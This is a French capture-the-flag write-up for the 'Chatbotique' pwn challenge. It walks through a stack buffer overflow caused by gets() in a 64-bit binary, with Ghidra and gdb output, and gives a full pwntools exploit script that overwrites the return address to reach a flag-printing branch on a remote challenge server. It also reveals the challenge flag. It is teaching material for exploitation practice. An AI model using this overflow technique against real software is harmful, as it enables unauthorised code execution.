Chatbotique (MEDIUM)

Auteur(s) :

Hokanosekai

Catégorie :

Pwn

Description :

Un étudiant a mis au point un chatbot pour concurrencer ChatGPT, or il a oublié de sécuriser son application. Trouve le flag !

chatbotique

`nc 161.35.21.37 40013`

Flag : `UHOCTF{Fake_flag}`

Solution

On peut commencer par lancer la commande `file` sur le binaire :

```
hoka@hoka ~/c/U/U/P/Chatbotique (main)> file chatbotique
chatbotique: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=3c300cbb9f4046d259e38576a26c0acdd0100ce9, for GNU/Linux
3.2.0, not stripped
```

Le binaire est un éxécutable 64 bits, dynamiquement linké, non strippé.

Ensuite, on peut lancer le binaire :

```
hoka@hoka ~/c/U/U/P/Chatbotique (main)> ./chatbotique
Bienvenue sur Chatbotique !
Comment puis-je vous aider ?
test
Je suis encore en cours d'apprentissage, je ne comprends pas votre
demande.
```

Lors de l'éxécution, le binaire nous demande une entrée, et nous renvoie une réponse.

Nous allons maintenant regarder le code du binaire avec Ghidra.

```
/* WARNING: Removing unreachable block (ram,0x00401310) */

undefined8 main(void)

{
  int iVar1;
  char local_108 [256];

  setbuf(stdout,(char *)0x0);
  puts("Bienvenue sur Chatbotique !");
  puts("Comment puis-je vous aider ?");
  gets(local_108);
  iVar1 = strcmp(local_108,"Je voudrais le flag");
  if (iVar1 == 0) {
    puts("Je ne suis pas sur d\'avoir compris votre demande.");
  }
  else {
    iVar1 = strcmp(local_108,&DAT_00402090);
    if (iVar1 == 0) {
      puts(&DAT_004020b8);
    }
    else {
      iVar1 = strcmp(local_108,&DAT_00402108);
      if (iVar1 == 0) {
        puts(&DAT_00402148);
      }
      else {
        iVar1 = strcmp(local_108,&DAT_004021a0);
        if (iVar1 == 0) {
          puts("Bien sur, il vous suffit de me donner votre mot de
passe.");
        }
        else {
          iVar1 = strcmp(local_108,"Donne moi le flag stp");
          if (iVar1 == 0) {
            puts("L\'impolitesse ne paie pas.");
          }
          else {
            iVar1 = strcmp(local_108,&DAT_00402238);
            if (iVar1 == 0) {
              puts(&DAT_00402278);
            }
            else {
              iVar1 = strcmp(local_108,"Pain au chocolat ou Chocolatine
?");
              if (iVar1 != 0) {
                puts("Je suis encore en cours d\'apprentissage, je ne
comprends pas votre demande.")
                ;
                    /* WARNING: Subroutine does not return */
                exit(1);
              }
```

```
                puts("Je ne sais pas, je suis un robot.");
                sleep(0x14);
                puts(&DAT_00402368);
              }
            }
          }
        }
      }
    }
    return 0;
  }
```

On peut voir que le binaire utilise la fonction `gets` pour récupérer notre entrée, ce qui est une faille de sécurité connue. En effet, cette fonction ne vérifie pas la taille de l'entrée, ce qui peut mener à un buffer overflow.

Nous avons donc notre point d'entrée pour exploiter le binaire, mais nous avons un problème, si aucune des comparaisons n'est validée, le programme se termine, donc juste réécrire `rip` n'est pas suffisant.

Nous allons donc pouvoir créer un payload commencant par `Je voudrais le flag`, et suivi d'un bite null `\x00` pour terminer la chaine de caractère, puis nous allons pouvoir écrire l'adresse de la fonction `puts` pour qu'elle soit appelée après la comparaison.

Nous devons maintenant trouver l'offset pour écrire l'adresse de la fonction `puts` dans le registre `rip`.

Pour trouver cet offset, il nous suffit de regarder le code décompiler du binaire.

```
char local_108 [256];
```

Cette variable est la première variable initialisée, et par conséquent, la plus proche du registre `rbp`, qui lui même est devant le registre `rip`. Notre offset est donc de `256 + 8 = 264`. Cela veut dire que le 265ème caractère de notre payload sera écrit dans le registre `rip`.

Afin de savoir quelle adresse écrire dans le registre `rip`, nous allons utiliser l'outil `gdb`.

```
(gdb) disass main
Dump of assembler code for function main:
   0x0000000000401182 <+0>:     push   %rbp
   0x0000000000401183 <+1>:     mov    %rsp,%rbp
   0x0000000000401186 <+4>:     sub    $0x110,%rsp
   0x000000000040118d <+11>:    mov    0x2ecc(%rip),%rax        # 0x404060
<stdout@GLIBC_2.2.5>
   0x0000000000401194 <+18>:    mov    $0x0,%esi
   0x0000000000401199 <+23>:    mov    %rax,%rdi
   0x000000000040119c <+26>:    call   0x401040 <setbuf@plt>
   0x00000000004011a1 <+31>:    movl   $0x0,-0x104(%rbp)
```

```
0x00000000004011ab <+41>:    lea    0xe56(%rip),%rdi        # 0x402008
0x00000000004011b2 <+48>:    call   0x401030 <puts@plt>
0x00000000004011b7 <+53>:    lea    0xe66(%rip),%rdi        # 0x402024
0x00000000004011be <+60>:    call   0x401030 <puts@plt>
0x00000000004011c3 <+65>:    lea    -0x100(%rbp),%rax
0x00000000004011ca <+72>:    mov    %rax,%rdi
0x00000000004011cd <+75>:    mov    $0x0,%eax
0x00000000004011d2 <+80>:    call   0x401070 <gets@plt>
0x00000000004011d7 <+85>:    lea    -0x100(%rbp),%rax
0x00000000004011de <+92>:    lea    0xe5c(%rip),%rsi        # 0x402041
0x00000000004011e5 <+99>:    mov    %rax,%rdi
0x00000000004011e8 <+102>:   call   0x401060 <strcmp@plt>
0x00000000004011ed <+107>:   test   %eax,%eax
0x00000000004011ef <+109>:   jne    0x401202 <main+128>
0x00000000004011f1 <+111>:   lea    0xe60(%rip),%rdi        # 0x402058
0x00000000004011f8 <+118>:   call   0x401030 <puts@plt>
0x00000000004011fd <+123>:   jmp    0x40134e <main+460>
0x0000000000401202 <+128>:   lea    -0x100(%rbp),%rax
0x0000000000401209 <+135>:   lea    0xe80(%rip),%rsi        # 0x402090
0x0000000000401210 <+142>:   mov    %rax,%rdi
0x0000000000401213 <+145>:   call   0x401060 <strcmp@plt>
0x0000000000401218 <+150>:   test   %eax,%eax
0x000000000040121a <+152>:   jne    0x40122d <main+171>
0x000000000040121c <+154>:   lea    0xe95(%rip),%rdi        # 0x4020b8
0x0000000000401223 <+161>:   call   0x401030 <puts@plt>
0x0000000000401228 <+166>:   jmp    0x40134e <main+460>
0x000000000040122d <+171>:   lea    -0x100(%rbp),%rax
0x0000000000401234 <+178>:   lea    0xecd(%rip),%rsi        # 0x402108
0x000000000040123b <+185>:   mov    %rax,%rdi
0x000000000040123e <+188>:   call   0x401060 <strcmp@plt>
0x0000000000401243 <+193>:   test   %eax,%eax
0x0000000000401245 <+195>:   jne    0x401258 <main+214>
0x0000000000401247 <+197>:   lea    0xefa(%rip),%rdi        # 0x402148
0x000000000040124e <+204>:   call   0x401030 <puts@plt>
0x0000000000401253 <+209>:   jmp    0x40134e <main+460>
0x0000000000401258 <+214>:   lea    -0x100(%rbp),%rax
0x000000000040125f <+221>:   lea    0xf3a(%rip),%rsi        # 0x4021a0
0x0000000000401266 <+228>:   mov    %rax,%rdi
0x0000000000401269 <+231>:   call   0x401060 <strcmp@plt>
0x000000000040126e <+236>:   test   %eax,%eax
0x0000000000401270 <+238>:   jne    0x401283 <main+257>
0x0000000000401272 <+240>:   lea    0xf4f(%rip),%rdi        # 0x4021c8
0x0000000000401279 <+247>:   call   0x401030 <puts@plt>
0x000000000040127e <+252>:   jmp    0x40134e <main+460>
0x0000000000401283 <+257>:   lea    -0x100(%rbp),%rax
0x000000000040128a <+264>:   lea    0xf71(%rip),%rsi        # 0x402202
0x0000000000401291 <+271>:   mov    %rax,%rdi
0x0000000000401294 <+274>:   call   0x401060 <strcmp@plt>
0x0000000000401299 <+279>:   test   %eax,%eax
0x000000000040129b <+281>:   jne    0x4012ae <main+300>
0x000000000040129d <+283>:   lea    0xf74(%rip),%rdi        # 0x402218
0x00000000004012a4 <+290>:   call   0x401030 <puts@plt>
0x00000000004012a9 <+295>:   jmp    0x40134e <main+460>
0x00000000004012ae <+300>:   lea    -0x100(%rbp),%rax
```

```
   0x00000000004012b5 <+307>:   lea    0xf7c(%rip),%rsi        # 0x402238
   0x00000000004012bc <+314>:   mov    %rax,%rdi
   0x00000000004012bf <+317>:   call   0x401060 <strcmp@plt>
   0x00000000004012c4 <+322>:   test   %eax,%eax
   0x00000000004012c6 <+324>:   jne    0x4012d6 <main+340>
   0x00000000004012c8 <+326>:   lea    0xfa9(%rip),%rdi        # 0x402278
   0x00000000004012cf <+333>:   call   0x401030 <puts@plt>
   0x00000000004012d4 <+338>:   jmp    0x40134e <main+460>
   0x00000000004012d6 <+340>:   lea    -0x100(%rbp),%rax
   0x00000000004012dd <+347>:   lea    0x1004(%rip),%rsi        # 0x4022e8
   0x00000000004012e4 <+354>:   mov    %rax,%rdi
   0x00000000004012e7 <+357>:   call   0x401060 <strcmp@plt>
   0x00000000004012ec <+362>:   test   %eax,%eax
   0x00000000004012ee <+364>:   jne    0x401338 <main+438>
   0x00000000004012f0 <+366>:   lea    0x1019(%rip),%rdi        # 0x402310
   0x00000000004012f7 <+373>:   call   0x401030 <puts@plt>
   0x00000000004012fc <+378>:   mov    $0x14,%edi
   0x0000000000401301 <+383>:   call   0x401090 <sleep@plt>
   0x0000000000401306 <+388>:   mov    -0x104(%rbp),%eax
   0x000000000040130c <+394>:   test   %eax,%eax
   0x000000000040130e <+396>:   je     0x40132a <main+424>
   0x0000000000401310 <+398>:   lea    0x1021(%rip),%rdi        # 0x402338
   0x0000000000401317 <+405>:   call   0x401030 <puts@plt>
   0x000000000040131c <+410>:   lea    0x1037(%rip),%rdi        # 0x40235a
   0x0000000000401323 <+417>:   call   0x401050 <system@plt>
   0x0000000000401328 <+422>:   jmp    0x40134e <main+460>
   0x000000000040132a <+424>:   lea    0x1037(%rip),%rdi        # 0x402368
   0x0000000000401331 <+431>:   call   0x401030 <puts@plt>
   0x0000000000401336 <+436>:   jmp    0x40134e <main+460>
   0x0000000000401338 <+438>:   lea    0x1059(%rip),%rdi        # 0x402398
   0x000000000040133f <+445>:   call   0x401030 <puts@plt>
   0x0000000000401344 <+450>:   mov    $0x1,%edi
   0x0000000000401349 <+455>:   call   0x401080 <exit@plt>
   0x000000000040134e <+460>:   mov    $0x0,%eax
   0x0000000000401353 <+465>:   leave
   0x0000000000401354 <+466>:   ret
End of assembler dump.
```

Grâce à ce dump, nous pouvons trouver à quel `puts` il faut sauter pour avoir le flag.(Celui qui est juste avant le `system`)

```
0x0000000000401317 <+405>:   call   0x401030 <puts@plt>
```

Nous pouvons maintenant tester en utilisant la libraire `pwntools`:

```
from pwn import *

exe = ELF("./chatbotique", checksec=False)
```

```
context.binary = exe

def conn():
    print(args)
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("161.35.21.37", 40013)
    return r

def main():
    r = conn()

    r.recv()

    condition = b"Je voudrais le flag\x00"
    junk = b"A" * (0x100 - len(condition))
    rbp = b"B" * 0x8
    rip = p64(0x00401317)

    payload = condition + junk + rbp + rip


    print(payload)

    r.sendline(payload)

    print(r.recvall().decode().split("\n")[2])


if __name__ == "__main__":
    main()
```

Lorsque nous lançons le script en local, nous obtenons le flag:

```
hoka@hoka ~/c/U/U/P/Chatbotique (main)> python3 solve.py LOCAL
[+] Starting local process
'/mnt/c/Users/arsou/ctf/UnivCTF/UHOCTF/PWN/Chatbotique/chatbotique': pid
8114
b'Je voudrais le
flag\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAABBBBBBBB\x17\x13@\x00\x00\x00\x00\x00'
[+] Receiving all data: Done (55B)
[*] Process
'/mnt/c/Users/arsou/ctf/UnivCTF/UHOCTF/PWN/Chatbotique/chatbotique'
stopped with exit code -7 (SIGBUS) (pid 8114)
FLAG_TEST
```

Maintenant, nous pouvons lancer le script en remote:

Il faut penser à ajouter un autre `recv` pour recevoir la seconde ligne affichée lors de la connexion.

```
hoka@hoka ~/c/U/U/P/Chatbotique (main)> python3 solve.py
[+] Opening connection to 161.35.21.37 on port 40013: Done
b'Je voudrais le
flag\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAABBBBBBBB\x17\x13@\x00\x00\x00\x00\x00'
[+] Receiving all data: Done (55B)
[*] Closed connection to 161.35.21.37 port 40013
UHOCTF{Ch4tGPT_15_u53l355_f0r_buff3r_0v3rfl0w}
```

Flag : `UHOCTF{Ch4tGPT_15_u53l355_f0r_buff3r_0v3rfl0w}`

Hosting

```
sudo docker build -t chatbotique .
sudo docker network create -d bridge chatbotique
```

The command to start the challenge is:

```
sudo docker run -p 40013:40013 --detach --name chatbotique --network
chatbotique chatbotique:latest
```

The command to stop the challenge (since CTRL+C won't work) is:

```
sudo docker stop chatbotique
```